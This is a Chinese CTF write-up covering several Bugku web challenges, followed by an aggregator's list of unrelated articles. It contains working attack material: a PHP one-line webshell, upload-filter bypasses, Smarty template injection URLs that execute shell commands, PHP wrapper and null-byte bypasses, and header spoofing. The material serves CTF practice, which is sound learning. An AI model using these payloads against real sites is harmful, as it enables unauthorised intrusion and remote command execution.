bugku 2

社工-初步收集

 购买辅助--下载辅助

得到一个zip文件

里面有exe

不知道有啥用

先用dirsearch扫一下

找到/admin/login.php

随便用了个弱口令登录失败

后面看了要用wireshrak抓包

找到邮箱和pass

 把pass解码

本来以为后台直接登录

但是登录失败

就是要用邮箱登录

找到账号和密码

登录成了

网站设置里有flag

秋名山车神

要两秒内计算值  根本不可能

数值还一直在变

import requests #//引入request库
import re 		#//引入re库url = '''http://114.67.175.224:15101/'''
s = requests.session()  #//用session会话保持表达式是同一个
retuen = s.get(url)
equation = re.search(r'(\d+[+\-*])+(\d+)', retuen.text).group()result = eval(equation)	#//eval() 函数用来执行一个字符串表达式,并返回表达式的值。
key = {'value':result}
print(s.post(url, data = key).text)

正则

re.search()表示从文本的第一个字符匹配到最后一个,其第一个参数为正则表达式,第二个参数是要匹配的文本
r''表示内容为原生字符串,防止被转义
(\d+[+\-*])+(\d+):\d+ 表示匹配一个或多个数字;[+-*] 表示匹配一个加号或一个减号或一个乘号(注:减号在中括号内是特殊字符,要用反斜杠转义);所以 (\d+[+-*])+ 表示匹配多个数字和运算符组成的“表达式”;最后再加上一组数字 (\d+) 即可
group()返回字符串

文件上传 

bp抓包 上传php文件

修改类型

1.http head里的Content-Type: multipart/form-data;
请求头部的 Content-Type 内容 随便改个大写字母过滤掉 比如 mulTipart/form-data (其t为大写)
Multipart里的部分字母改成大写的。

2.文件的的Content-Type: application/octet-stream,改成image/jpeg

3.文件后缀名改成php4

蚁剑连接ok

never_give_up  php黑魔法

 看源代码 给了提示1p.html

访问1p.html会直接跳转到bugku什么的

所以要用bp拦截

发包得到一串编码

解码

得到源码了

";if(!$_GET['id'])
{header('Location: hello.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{echo 'no no no no no no no';return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{$flag = "flag{***********}"
}
else
{print "never never never give up !!!";
}?>

stripos函数:返回指定字符的位置。 题目中就是 返回 “.”在 $a 的位置。  配合上if,就是a中不能有 .

file_get_contents:读取指定的文件。题目中是要读取名称为 a 的文件。 并赋值给 data

$a 的值必须为数据流,可是使用php伪协议中的php://input来访问原始请求数据中的只读流,也就是说我们可以在报文主体中post “bugku  is a nice plateform!”,通过php://input来访问。

eregi:这个函数跟 preg_match函数功能一样,实现匹配。但是已经弃用。

            进行不区分大小写的正则表达式匹配

题目的意思是,经过 substr 的 变量b 再拼接 字符串 111 ,用拼接后的字符串 匹配 1114 。
所以一共有以下限制条件:

1、id传参必须存在,且 等于0

2、a传参 不能有 .

3、必须读取到 名为a 的文件,且文件内容是:bugku is a nice plateform!

4、b传参长度大于5

5、b的第一个字符不能等于4,且截取后要与 1114 匹配

此外还有个隐形条件。

传入 id = 0 。会自动跳转到 id =1

绕过方法:

1、id用弱类型比较。 0xg 等于 0  。 (只要是大于十六进制e的字符都可以)

2、利用php伪协议。

a=php://input

post传入:bugku is a nice plateform!

3、利用00截断绕过 eregi

ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。

b 是 URL 查询字符串中的变量,不应该在此放入空字符 \x00,而应该为空字符的 URL 编码 %00。注意,虽然 b=%0012345 实际字符串长度为 8 字节,但在后台脚本读入数据时,会将 URL 编码 %00 转换成 1 字节

shell 命令执行

进去之后是空白的 毫无提示

根据提示我们可以猜测需要get 传参s

直接命令执行

ls

cat flag

程序员本地网站

 提示很明显啊

抓包后添加

X-Forwarded--For:127.0.0.1

 聪明的php smarty模板注入

没太看懂 就说flag文件是随机的

那我先用dirsearch扫一下试试

没有什么收获 

搜了一下 parameter是参数的意思

那我穿个参数看看

源码出来了

验证是否是模板注入

判断为 smarty模板注入

根据上面的源代码,我们发现passthru()函数没过滤

ls一下

看下根目录

http://114.67.175.224:10801/?a={{passthru(%27ls%27)}}

看到这个奇奇怪怪的

这里cat被过滤了

用tac来过滤

http://114.67.175.224:10801/?a={{passthru(%27tac%20../../../_27800%27)}}

 login1

进去就是登陆注册页面

我先随便注册了一个账号

但是回显不是管理员

所以一定要用admin才能登录

看看题目提示

 

第一次见 搜一下

参考https://www.cnblogs.com/Sayo-/p/15164269.html

 

根据以上资料

我们利用admin+空格注册一个账号

然后用admin和刚才用的密码来登录admin账户

登录成功

文件包含2

查看页面源代码

 看到upload.php

 

来到这个页面

上马没跑了

上传图片马

修改类型啥的 上传成功了

拿蚁剑连接一下 但是没有一点信息

后来知道是因为

<?php  ?>标签被替换成_了,所以无法解析成php文件,这里要另一种姿势来写一句话木马

 

<script language=php>eval($_POST['shell']);</script>

连接成功了

闪电十六鞭

需要进行代码审计

先点击 这个看看

发现url上面带了很多一坨什么东西

审计一下

点击链接会用GET方法传入一串字符串$exam,后面是当前时间的一串sha1哈希值。

当没有用GET方法传入flag时,会显示Click here的链接。

判断传入的flag长度与$exam是否相同,不同则显示 长度不允许 

 

进行关键字过滤 

get传参的flag如果跟sha1加密后的值相等 则返回flag

 $exam=return'c78158f67a3ed810f14ad631edaedb4b5b24800c';len($exam)=50;

此时再将目光放在过滤的关键字上,发现过滤掉了echo和flag,这是我们实现绕过所必需的两个关键字,只能通过别的方式来替代了

php短标签风格:

①开启短标签风格后,能够正常解析 phpinfo(); ?>这样的代码

②可以使用<?=$a?>进行输出。举个例子:<php? echo 'hello'; ?> 等价于 <?='hello';?>

其次,flag被过滤了,可用先赋其他值,再修改的方法绕过

由于[]也被过滤掉了,我们需要用{}来代替其作用。最后,还要保证的一点就是长度,若长度不够,可以在中间插入无关的字符

 

http://114.67.175.224:12486/?flag=$a=%27flxg%27;$a{2}=%27a%27;11111111111111111;?%3E%3C?=$$a;?%3E

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/468863.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue学习笔记(三)常用指令、生命周期

Vue学习笔记&#xff08;三&#xff09;常用指令 vue指令&#xff1a;html标签上带有 v- 前缀的特殊属性&#xff0c;不同的指令具有不同的含义&#xff0c;可以实现不同的功能。 常用指令&#xff1a; 指令作用v-for列表渲染&#xff0c;遍历容器的元素或者对象的属性v-bind…

Vegeta压测工具学习与使用

Vegeta压测工具学习与使用 目标&#xff1a; 能够在命令行下使用Vegeta对指定API进行测试了解如何导出结果&#xff0c;以及能获得什么样的结果(P99,P99.9,QPS)探索能否导出其他结果&#xff0c;是否能够执行复杂命令或简易脚本等 时间比较紧迫&#xff0c;预计两到三个小时内完…

UnityShader——03图形硬件简史与可编程管线

图形硬件简史与可编程管线 GPU发展简史 GPU英文全称Graphic Processing Unit&#xff0c;中文翻译为“图形处理器”&#xff0c;在现代计算机系统中的作用变得越来越重要 20世纪六七十年代&#xff0c;受硬件条件的限制&#xff0c;图形显示器只是计算机输出的一种工具&…

C++ bfs再探迷宫游戏(五十五)【第二篇】

今天我们用bfs解决迷宫游戏。 1.再探迷宫游戏 前面我们已经接触过了迷宫游戏&#xff0c;并且学会了如何使用 DFS 来解决迷宫最短路问题。用 DFS 求解迷宫最短路有一个很大的缺点&#xff0c;需要枚举所有可能的路径&#xff0c;读入的地图一旦很大&#xff0c;可能的搜索方案…

手撕Promise

文章目录 一、Promise的初体验1.初体验——抽奖案例 二、Promise的实践练习1.实践练习——fs读取文件2.实践练习——AJAX请求 三、Promise的常见骚操作1.封装fs读取文件操作2.util.promisify方法进行promise风格转化3.封装原生的Ajax4.Promise实例对象的两个属性&#xff08;1&…

鸿蒙开发系列教程(二十)--页面间动画

页面间动画 两个页面间发生跳转&#xff0c;一个页面消失&#xff0c;另一个页面出现&#xff0c;这时可以配置各自页面的页面转场参数实现自定义的页面转场效果 页面进入&#xff1a; PageTransitionEnter({type?: RouteType,duration?: number,curve?: Curve | string,…

【Android】使用Android Studio打包APK文件

文章目录 1. 新建项目2. 打包生成APK3. 安装APK 1. 新建项目 打包APK之前&#xff0c;首先需要新建项目&#xff0c;有基础的可以跳过。 无基础的可以参考&#xff1a;使用Android Studio运行Hello World项目 2. 打包生成APK 1.找到Build -> Generate Signed Bundle or …

C++-带你深度理解string类的常见接口

1. 为什么学习string类&#xff1f; C语言中&#xff0c;字符串是以\0结尾的一些字符的集合&#xff0c;为了操作方便&#xff0c;C标准库中提供了一些str系列的库函数&#xff0c;但是这些库函数与字符串是分离开的&#xff0c;不太符合OOP的思想&#xff0c;而且底层空间需…

基于SSM的教材管理系统

文章目录 教材管理系统一、项目演示二、项目介绍三、系统部分功能截图四、部分代码展示五、底部获取项目源码&#xff08;9.9&#xffe5;&#xff09; 教材管理系统 一、项目演示 基于SSM的教材管理系统 二、项目介绍 有三个角色 1、管理员 功能模块&#xff1a;用户管理、教…

Atcoder ABC339 A - TLD

TLD 时间限制&#xff1a;2s 内存限制&#xff1a;1024MB 【原题地址】 所有图片源自Atcoder&#xff0c;题目译文源自脚本Atcoder Better! 点击此处跳转至原题 【问题描述】 【输入格式】 【输出格式】 【样例1】 【样例输入1】 atcoder.jp【样例输出1】 jp【样例说明…

猫头虎分享已解决Bug ‍ || Python Error: KeyError: ‘key_name‘

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通鸿蒙》 …

linux信号机制[二]

阻塞信号 信号相关概念 实际执行信号的处理动作称为信号递达(Delivery)信号从产生到递达之间的状态,称为信号未决(Pending)。[收到信号但是没有处理]进程可以选择阻塞 (Block )某个信号。被阻塞的信号产生时将保持在未决状态,直到进程解除对此信号的阻塞,才执行递达的动作.注…